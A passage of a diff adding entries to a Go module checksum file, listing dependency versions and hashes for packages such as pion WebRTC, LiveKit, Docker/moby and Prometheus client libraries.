+github.com/containerd/errdefs/pkg v0.3.0/go.mod h1:NJw6s9HwNuRhnjJhM7pylWwMyAkmCQvQ4GpJHEqRLVk= +github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s= +github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dennwc/iters v1.2.2 h1:XH2/Etihiy9ZvPOVCR+icQXeYlhbvS7k0qro4x/2qQo= +github.com/dennwc/iters v1.2.2/go.mod h1:M9KuuMBeyEXYTmB7EnI9SCyALFCmPWOIxn5W1L0CjGg= +github.com/distribution/reference v0.6.0 h1:0IXCQ5g4/QMHHkarYzh5l+u8T3t73zM5QvfrDyIgxBk= +github.com/distribution/reference v0.6.0/go.mod h1:BbU0aIcezP1/5jX/8MP0YiH4SdvB5Y4f/wlDRiLyi3E= +github.com/docker/cli v29.2.0+incompatible h1:9oBd9+YM7rxjZLfyMGxjraKBKE4/nVyvVfN4qNl9XRM= +github.com/docker/cli v29.2.0+incompatible/go.mod h1:JLrzqnKDaYBop7H2jaqPtU4hHvMKP+vjCwu2uszcLI8= +github.com/docker/go-connections v0.7.0 h1:6SsRfJddP22WMrCkj19x9WKjEDTB+ahsdiGYf0mN39c= +github.com/docker/go-connections v0.7.0/go.mod h1:no1qkHdjq7kLMGUXYAduOhYPSJxxvgWBh7ogVvptn3Q= +github.com/docker/go-units v0.5.0 h1:69rxXcBk27SvSaaxTtLh/8llcHD8vYHT7WSdRZ/jvr4= +github.com/docker/go-units v0.5.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk= +github.com/emiago/sipgo v1.5.0 h1:YVq5Rw5eVN4DRsB5MoBBiiurpHXXCjJstaH9cTvrlyI= +github.com/emiago/sipgo v1.5.0/go.mod h1:DuwAxBZhKMqIzQFPGZb1MVAGU6Wuxj64oTOhd5dx/FY= +github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= +github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= +github.com/frostbyte73/core v0.1.1 h1:ChhJOR7bAKOCPbA+lqDLE2cGKlCG5JXsDvvQr4YaJIA= +github.com/frostbyte73/core v0.1.1/go.mod h1:mhfOtR+xWAvwXiwor7jnqPMnu4fxbv1F2MwZ0BEpzZo= +github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= +github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= +github.com/gammazero/deque v1.2.1 h1:9fnQVFCCZ9/NOc7ccTNqzoKd1tCWOqeI05/lPqFPMGQ= +github.com/gammazero/deque v1.2.1/go.mod h1:5nSFkzVm+afG9+gy0VIowlqVAW4N8zNcMne+CMQVD2g= +github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= +github.com/go-logr/logr v1.4.4 h1:tG4xh9yMsRCAiodLVTxyrkzSZ9+o0L1Kg/+cPVcbP/8= +github.com/go-logr/logr v1.4.4/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= +github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= +github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= +github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= +github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs= +github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM= +github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU= +github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM= +github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og= +github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= +github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs= +github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc= +github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY= +github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= +github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= +github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= +github.com/google/cel-go v0.29.0 h1:fEG+Ja3YRwNOqnQxTyJwoByAUAvTuxUGiro/jhrm4F4= +github.com/google/cel-go v0.29.0/go.mod h1:X0bD6iVNR8pkROSOoHVdgTkzmRcosof7WQqCD6wcMc8= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674 h1:JeSE6pjso5THxAzdVpqr6/geYxZytqFMBCOtn/ujyeo= +github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674/go.mod h1:r4w70xmWCQKmi1ONH4KIaBptdivuRPyosB9RmPlGEwA= +github.com/gotranspile/g722 v0.0.0-20240123003956-384a1bb16a19 h1:vqA29ogkaaq2GxFQsMA8TTFUSGc1lGaZtnKbuiP840c= +github.com/gotranspile/g722 v0.0.0-20240123003956-384a1bb16a19/go.mod h1:AcVi4yM6DRZscpQXsEWBPItD52Saqw0x7md4mmjzUi8= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 h1:5VipnvEpbqr2gA2VbM+nYVbkIF28c5ZQfqCBQ5g2xfk= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0/go.mod h1:Hyl3n6Twe1hvtd9XUXDec4pTvgMSEixRuQKPTMH2bNs= +github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= +github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= +github.com/icholy/digest v1.1.0 h1:HfGg9Irj7i+IX1o1QAmPfIBNu/Q5A5Tu3n/MED9k9H4= +github.com/icholy/digest v1.1.0/go.mod h1:QNrsSGQ5v7v9cReDI0+eyjsXGUoRSUZQHeQ5C4XLa0Y= +github.com/jfreymuth/oggvorbis v1.0.5 h1:u+Ck+R0eLSRhgq8WTmffYnrVtSztJcYrl588DM4e3kQ= +github.com/jfreymuth/oggvorbis v1.0.5/go.mod h1:1U4pqWmghcoVsCJJ4fRBKv9peUJMBHixthRlBeD6uII= +github.com/jfreymuth/vorbis v1.0.2 h1:m1xH6+ZI4thH927pgKD8JOH4eaGRm18rEE9/0WKjvNE= +github.com/jfreymuth/vorbis v1.0.2/go.mod h1:DoftRo4AznKnShRl1GxiTFCseHr4zR9BN3TWXyuzrqQ= +github.com/jxskiss/base62 v1.1.0 h1:A5zbF8v8WXx2xixnAKD2w+abC+sIzYJX+nxmhA6HWFw= +github.com/jxskiss/base62 v1.1.0/go.mod h1:HhWAlUXvxKThfOlZbcuFzsqwtF5TcqS9ru3y5GfjWAc= +github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk= +github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= +github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y= +github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= +github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= +github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= +github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= +github.com/lithammer/shortuuid/v4 v4.2.0 h1:LMFOzVB3996a7b8aBuEXxqOBflbfPQAiVzkIcHO0h8c= +github.com/lithammer/shortuuid/v4 v4.2.0/go.mod h1:D5noHZ2oFw/YaKCfGy0YxyE7M0wMbezmMjPdhyEFe6Y= +github.com/livekit/amrwb-cgo v0.0.0-20260612153743-6d4b69dc1470 h1:pYml12Ue55jDhrjJoQg+w8W+0PY9wlNsTo6INGwzOfU= +github.com/livekit/amrwb-cgo v0.0.0-20260612153743-6d4b69dc1470/go.mod h1:nGBFrVVLyO0RlyM2pWnP/VKaZO6W3rzecL/YlkTPkW8= +github.com/livekit/mageutil v0.0.0-20250511045019-0f1ff63f7731 h1:9x+U2HGLrSw5ATTo469PQPkqzdoU7be46ryiCDO3boc= +github.com/livekit/mageutil v0.0.0-20250511045019-0f1ff63f7731/go.mod h1:Rs3MhFwutWhGwmY1VQsygw28z5bWcnEYmS1OG9OxjOQ= +github.com/livekit/media-sdk v0.0.0-20260824180721-c8704a7f6202 h1:gTBWQlLWGklTniaX78V4RyGTnz16hhWOQZoOuu+xu9Y= +github.com/livekit/media-sdk v0.0.0-20260824180721-c8704a7f6202/go.mod h1:TuYRjSepaakL6ATsM9V2VMuksewW1PlhA32BG7Pxty0= +github.com/livekit/mediatransportutil v0.0.0-20260727210231-81a5287a7109 h1:jLE+M9fTj4HeTZSy4T7wD1M42uOeBnbzmoCoWDsTBQI= +github.com/livekit/mediatransportutil v0.0.0-20260727210231-81a5287a7109/go.mod h1:o8CFmAdrVwzJNOCsQCLUzXRjokkufNshnQHOe4fRaqU= +github.com/livekit/protocol v1.51.1-0.20260905133529-a4f4b5c0c23f h1:+48IWNrsoTgbB0JGv+xJl4umx6e/vh1BX1Tcokuacwc= +github.com/livekit/protocol v1.51.1-0.20260905133529-a4f4b5c0c23f/go.mod h1:zxowkRnQlJ2VMn6ZyinXMDi985wcKXuWNeXmEERqFAs= +github.com/livekit/psrpc v0.7.6 h1:YG07lUMTtf+eaYI2goT9zcVZ0kGJNWN1K6ETNFtv1HQ= +github.com/livekit/psrpc v0.7.6/go.mod h1:DMw15RO7x5XmcgfwzWJYk2In605kx+wu1QRVbPfzf8M= +github.com/livekit/server-sdk-go/v2 v2.18.2-0.20260821165736-9b5928e4fcb8 h1:ztpx/fsWaP+IZ2PcuvRO6MGiMDNxwcYptx9bxcK2TSo= +github.com/livekit/server-sdk-go/v2 v2.18.2-0.20260821165736-9b5928e4fcb8/go.mod h1:qkHEZCUjVLpBs2zIhDo7zbX5f1mehGAROkRkPNSyfpc= +github.com/livekit/sipgo v0.13.2-0.20260519205735-a5b4a38b6ceb h1:HmgaJMGs0Nco/Z+XMc9f+xFgrbood9yJsIBtl1OY76M= +github.com/livekit/sipgo v0.13.2-0.20260519205735-a5b4a38b6ceb/go.mod h1:aDa6mbFktNzA1D917RhFlIB5IOfNBTmrwt+/lX960j0= +github.com/mackerelio/go-osstat v0.2.8 h1:I2duicTaCGWoM53XwAwA9OIe1inu0xnVs8/pqOWWVr4= +github.com/mackerelio/go-osstat v0.2.8/go.mod h1:SyS3XxKdoSKJnTGTkN5Yrh6VUQVuAURACfE6y+2DN4k= +github.com/magefile/mage v1.17.2 h1:fyXVu1eadI8Ap1HCCNgEhJ5McIWiYhLR8uol64ZZc40= +github.com/magefile/mage v1.17.2/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA= +github.com/mjibson/go-dsp v0.0.0-20180508042940-11479a337f12 h1:dd7vnTDfjtwCETZDrRe+GPYNLA1jBtbZeyfyE8eZCyk= +github.com/mjibson/go-dsp v0.0.0-20180508042940-11479a337f12/go.mod h1:i/KKcxEWEO8Yyl11DYafRPKOPVYTrhxiTRigjtEEXZU= +github.com/moby/docker-image-spec v1.3.1 h1:jMKff3w6PgbfSa69GfNg+zN/XLhfXJGnEx3Nl2EsFP0= +github.com/moby/docker-image-spec v1.3.1/go.mod h1:eKmb5VW8vQEh/BAr2yvVNvuiJuY6UIocYsFu/DxxRpo= +github.com/moby/moby/api v1.54.2 h1:wiat9QAhnDQjA7wk1kh/TqHz2I1uUA7M7t9SAl/JNXg= +github.com/moby/moby/api v1.54.2/go.mod h1:+RQ6wluLwtYaTd1WnPLykIDPekkuyD/ROWQClE83pzs= +github.com/moby/moby/client v0.4.1 h1:DMQgisVoMkmMs7fp3ROSdiBnoAu8+vo3GggFl06M/wY= +github.com/moby/moby/client v0.4.1/go.mod h1:z52C9O2POPOsnxZAy//WtKcQ32P+jT/NGeXu/7nfjGQ= +github.com/moby/sys/user v0.3.0 h1:9ni5DlcW5an3SvRSx4MouotOygvzaXbaSrc/wGDFWPo= +github.com/moby/sys/user v0.3.0/go.mod h1:bG+tYYYJgaMtRKgEmuueC0hJEAZWwtIbZTB+85uoHjs= +github.com/moby/term v0.5.2 h1:6qk3FJAFDs6i/q3W/pQ97SX192qKfZgGjCQqfCJkgzQ= +github.com/moby/term v0.5.2/go.mod h1:d3djjFCrjnB+fl8NJux+EJzu0msscUP+f8it8hPkFLc= +github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= +github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= +github.com/nats-io/nats.go v1.52.0 h1:n3avV4VBsCgsdwh71TppsTwtv+QdPs7ntSKM8qJLGsc= +github.com/nats-io/nats.go v1.52.0/go.mod h1:26HypzazeOkyO3/mqd1zZd53STJN0EjCYF9Uy2ZOBno= +github.com/nats-io/nkeys v0.4.16 h1:rd5oAuLOb8mnAycB0xleuEBNS1pVVnN0fv/FF34Eypg= +github.com/nats-io/nkeys v0.4.16/go.mod h1:llLgWoI0o4z/Q57q2R1kHfmocyhGV6VG/U18Glg1Afs= +github.com/nats-io/nuid v1.0.1 h1:5iA8DT8V7q8WK2EScv2padNa/rTESc1KdnPw4TC2paw= +github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c= +github.com/nyaruka/phonenumbers v1.8.1 h1:2K9YMQuv1dCGqjjzB1DwmdCe89khT4KPBQb2CxAMMlU= +github.com/nyaruka/phonenumbers v1.8.1/go.mod h1:fsKPJ70O9JetEA4ggnJadYTFWwtGPvu/lETTXNXq6Cs= +github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8Oi/yOhh5U= +github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= +github.com/opencontainers/image-spec v1.1.1 h1:y0fUlFfIZhPF1W537XOLg0/fcx6zcHCJwooC2xJA040= +github.com/opencontainers/image-spec v1.1.1/go.mod h1:qpqAh3Dmcf36wStyyWU+kCeDgrGnAve2nCC8+7h8Q0M= +github.com/opencontainers/runc v1.3.3 h1:qlmBbbhu+yY0QM7jqfuat7M1H3/iXjju3VkP9lkFQr4= +github.com/opencontainers/runc v1.3.3/go.mod h1:D7rL72gfWxVs9cJ2/AayxB0Hlvn9g0gaF1R7uunumSI= +github.com/ory/dockertest/v3 v3.12.0 h1:3oV9d0sDzlSQfHtIaB5k6ghUCVMVLpAY8hwrqoCyRCw= +github.com/ory/dockertest/v3 v3.12.0/go.mod h1:aKNDTva3cp8dwOWwb9cWuX84aH5akkxXRvO7KCwWVjE= +github.com/ory/dockertest/v4 v4.0.0 h1:i19aFsO/VXE0VrMk4ifnKW4G/KIJ93PCjLOslxXoPME= +github.com/ory/dockertest/v4 v4.0.0/go.mod h1:b5Ofu8VIxWNhXFvQcLu17pRNQdoUBKtXBW74G4Ygzx8= +github.com/petermattis/goid v0.0.0-20260725062400-500c67a39b75 h1:VmZ6mKVkxavKEhEy4ZYyV7BwBYBFBP0TwIqmLk84fpU= +github.com/petermattis/goid v0.0.0-20260725062400-500c67a39b75/go.mod h1:pxMtw7cyUw6B2bRH0ZBANSPg+AoSud1I1iyJHI69jH4= +github.com/pion/datachannel v1.6.2 h1:7EXQ8TH3vTouBUdRWYbcX2edSx9Yj6k5zl5P+qyxEPc= +github.com/pion/datachannel v1.6.2/go.mod h1:pzbdAZvyGtXbcHM1hBbsFaOTf40lZizU/dNlvVOak6E= +github.com/pion/dtls/v3 v3.1.5 h1:9xJtVsHwMYeSjPp5Hh1FTis4DchnQWtnOa5o+6ygqfc= +github.com/pion/dtls/v3 v3.1.5/go.mod h1:gz1K4jg6c+fq86oQMH4pilpCEOEPwmEr2jY+VcF/mkU= +github.com/pion/ice/v4 v4.4.0 h1:wvHDDqimaC38Y7MVpD46Y63p246ChvXd87VKoLYS5b4= +github.com/pion/ice/v4 v4.4.0/go.mod h1:obAyD+J+Hzs7QA7Y8YXHp5uIn6gb7z87pKedXZkrcFU= +github.com/pion/interceptor v0.1.47 h1:yw8t5pJ2f8t78NgU+8EmxhaqYLXS7uFCC/tAGOaSDBo= +github.com/pion/interceptor v0.1.47/go.mod h1:7yoRBzaIDETPC6cIN8Zj9EyGqHv1ImOpcTFPha6MuOM= +github.com/pion/logging v0.2.4 h1:tTew+7cmQ+Mc1pTBLKH2puKsOvhm32dROumOZ655zB8= +github.com/pion/logging v0.2.4/go.mod h1:DffhXTKYdNZU+KtJ5pyQDjvOAh/GsNSyv1lbkFbe3so= +github.com/pion/mdns/v2 v2.1.0 h1:3IJ9+Xio6tWYjhN6WwuY142P/1jA0D5ERaIqawg/fOY= +github.com/pion/mdns/v2 v2.1.0/go.mod h1:pcez23GdynwcfRU1977qKU0mDxSeucttSHbCSfFOd9A= +github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA= +github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8= +github.com/pion/rtcp v1.2.17 h1:PxiT6L79yPZKtXIsXdG1eakBl6dtBj4x+4oVEL0DlSw= +github.com/pion/rtcp v1.2.17/go.mod h1:7kBpuBJaWwax4hzc/pgexY8vkOpvh8atgYDbaKZq0iU= +github.com/pion/rtp v1.10.5 h1:ip0HhO/wYZqQ4bKS+R99KnZh/GRCmIT0jDXikub7vlE= +github.com/pion/rtp v1.10.5/go.mod h1:Au8fc6cEByy8RLTwKTQTEeQqDB/SJDxwL4mZuxYA5Pk= +github.com/pion/sctp v1.11.1 h1:O4dIFyURw1KTST7w+gtD4gLeYXkhPa0xXLHMMoe/OSA= +github.com/pion/sctp v1.11.1/go.mod h1:7KFmTwLcoYgJs/Z+99nJvsWL0qDpuyloSI0RbAqlrz0= +github.com/pion/sdp/v3 v3.0.19 h1:1VMKs3gIkTQV5M3hNKfTAPrDXSNrYtOlmOD8+mSZUGQ= +github.com/pion/sdp/v3 v3.0.19/go.mod h1:dE5WOSlzXrtiE/iuZqe9n+AcEbOjtAd3k5m5NtlV/qU= +github.com/pion/srtp/v3 v3.0.12 h1:U7V17bckl7sI4mb3sepiojByDuBY0wNCqQE+6IlQBbc= +github.com/pion/srtp/v3 v3.0.12/go.mod h1:EeZOi/sd6glM1EXapg051gdNWO9yWT1YSsgQ4SlJkns= +github.com/pion/stun/v3 v3.1.6 h1:WnhsD0eHCiwCfKNkVx0VJJwr2Y3eV4Ueih3KJ+dfZy8= +github.com/pion/stun/v3 v3.1.6/go.mod h1:zRUghXSQU32Lx5orJsz3uYMkIihweXb3mu5gIns02fs= +github.com/pion/transport/v3 v3.1.1 h1:Tr684+fnnKlhPceU+ICdrw6KKkTms+5qHMgw6bIkYOM= +github.com/pion/transport/v3 v3.1.1/go.mod h1:+c2eewC5WJQHiAA46fkMMzoYZSuGzA/7E2FPrOYHctQ= +github.com/pion/transport/v4 v4.0.2 h1:ifYlPqNwsy6aKQ9y8yzxXlHae5431ZrH2avkD/Rn6Tk= +github.com/pion/transport/v4 v4.0.2/go.mod h1:06hFI+jCFcok2X2MekVufNZ/uzNZXivGBPfviSVcjgM= +github.com/pion/turn/v5 v5.0.12 h1:6+b69ivQQXSlyfkp2AKripqD2k3W32qXK8QzCzpJWPI= +github.com/pion/turn/v5 v5.0.12/go.mod h1:CQACsRDJtjQ+6RSrGHrS2PCIerLwbW3uqXRqOvtjAFg= +github.com/pion/webrtc/v4 v4.2.18 h1:smA/3g6Gy4RohM0VIZ5KKY/12TQbxv3XFgpUMyb2EUI= +github.com/pion/webrtc/v4 v4.2.18/go.mod h1:vmzi6s+rvhoIuT94DPqivB+0xJXs9rG4QRD+4MgBtlY= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU= +github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE= +github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= +github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE= +github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi/PY= +github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc= +github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI= +github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= +github.com/puzpuzpuz/xsync/v4 v4.5.0 h1:vOSWu6b57/emh+L/Cw0BeQfvxa/cogFywXHeGUxQxAg= +github.com/puzpuzpuz/xsync/v4 v4.5.0/go.mod h1:VJDmTCJMBt8igNxnkQd86r+8KUeN1quSfNKu5bLYFQo= +github.com/redis/go-redis/v9 v9.22.0 h1:laDvpYXTJtZLloinw1fA5Kqd6HAEH2XKxOkG/PDq2F0= +github.com/redis/go-redis/v9 v9.22.0/go.mod h1:y2g0Wj8rQvuK0ELM+oxSudcLtC09JScs98I/X9gRWY4= +github.com/rodaine/protogofakeit v0.1.1 h1:ZKouljuRM3A+TArppfBqnH8tGZHOwM/pjvtXe9DaXH8= +github.com/rodaine/protogofakeit v0.1.1/go.mod h1:pXn/AstBYMaSfc1/RqH3N82pBuxtWgejz1AlYpY1mI0= +github.com/rogpeppe/go-internal v1.15.0 h1:D0RCU5rMAp+SpgkiNdrjfJ+LX4J1M32V2NeCY7EJ6hc= +github.com/rogpeppe/go-internal v1.15.0/go.mod h1:DrUVZyrJU+txYW5/1kwtXQSMFio52ZOxX7yM1VHvnxs= +github.com/shoenig/test v1.7.0 h1:eWcHtTXa6QLnBvm0jgEabMRN/uJ4DMV3M8xUGgRkZmk= +github.com/shoenig/test v1.7.0/go.mod h1:UxJ6u/x2v/TNs/LoLxBNJRV9DiwBBKYxXSyczsBHFoI= +github.com/sirupsen/logrus v1.9.4 h1:TsZE7l11zFCLZnZ+teH4Umoq5BhEIfIzfRDZ1Uzql2w= +github.com/sirupsen/logrus v1.9.4/go.mod h1:ftWc9WdOfJ0a92nsE2jF5u5ZwH8Bv2zdeOC42RjbV2g= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.12.0 h1:K6Mr6jO9JICuend/5xzTM03ydSV3vdNRYAdPSukj8uI= +github.com/stretchr/testify v1.12.0/go.mod h1:bOYBZb5qJ00vPzWfIqBUZPaxK8jWiXc6d3ErP4Ca9Gw= +github.com/twitchtv/twirp v8.1.3+incompatible h1:+F4TdErPgSUbMZMwp13Q/KgDVuI7HJXP61mNV3/7iuU= +github.com/twitchtv/twirp v8.1.3+incompatible/go.mod h1:RRJoFSAmTEh2weEqWtpPE3vFK5YBhA6bqp2l1kfCC5A= +github.com/urfave/cli/v3 v3.9.0 h1:AV9lIiPv3ukYnxunaCUsHnEozptYmDN2F0+yWqLMn/c= +github.com/urfave/cli/v3 v3.9.0/go.mod h1:ysVLtOEmg2tOy6PknnYVhDoouyC/6N42TMeoMzskhso= +github.com/wlynxg/anet v0.0.5 h1:J3VJGi1gvo0JwZ/P1/Yc/8p63SoW98B5dHkYDmpgvvU= +github.com/wlynxg/anet v0.0.5/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA= +github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= +github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb h1:zGWFAtiMcyryUHoUjUJX0/lt1H2+i2Ka2n+D3DImSNo= +github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= +github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 h1:EzJWgHovont7NscjpAxXsDA8S8BMYve8Y5+7cuRE7R0= +github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= +github.com/xeipuuv/gojsonschema v1.2.0 h1:LhYJRs+L4fBtjZUfuSZIKGeVu0QRy8e5Xi7D17UxZ74= +github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= +github.com/zeebo/assert v1.3.0 h1:g7C04CbJuIDKNPFHmsk4hwZDO5O+kntRxzaUoNXj+IQ= +github.com/zeebo/assert v1.3.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= +github.com/zeebo/xxh3 v1.1.0 h1:s7DLGDK45Dyfg7++yxI0khrfwq9661w9EN78eP/UZVs= +github.com/zeebo/xxh3 v1.1.0/go.mod h1:IisAie1LELR4xhVinxWS5+zf1lA4p0MW4T+w+W07F5s= +go.opentelemetry.io/auto/sdk v1.2.1 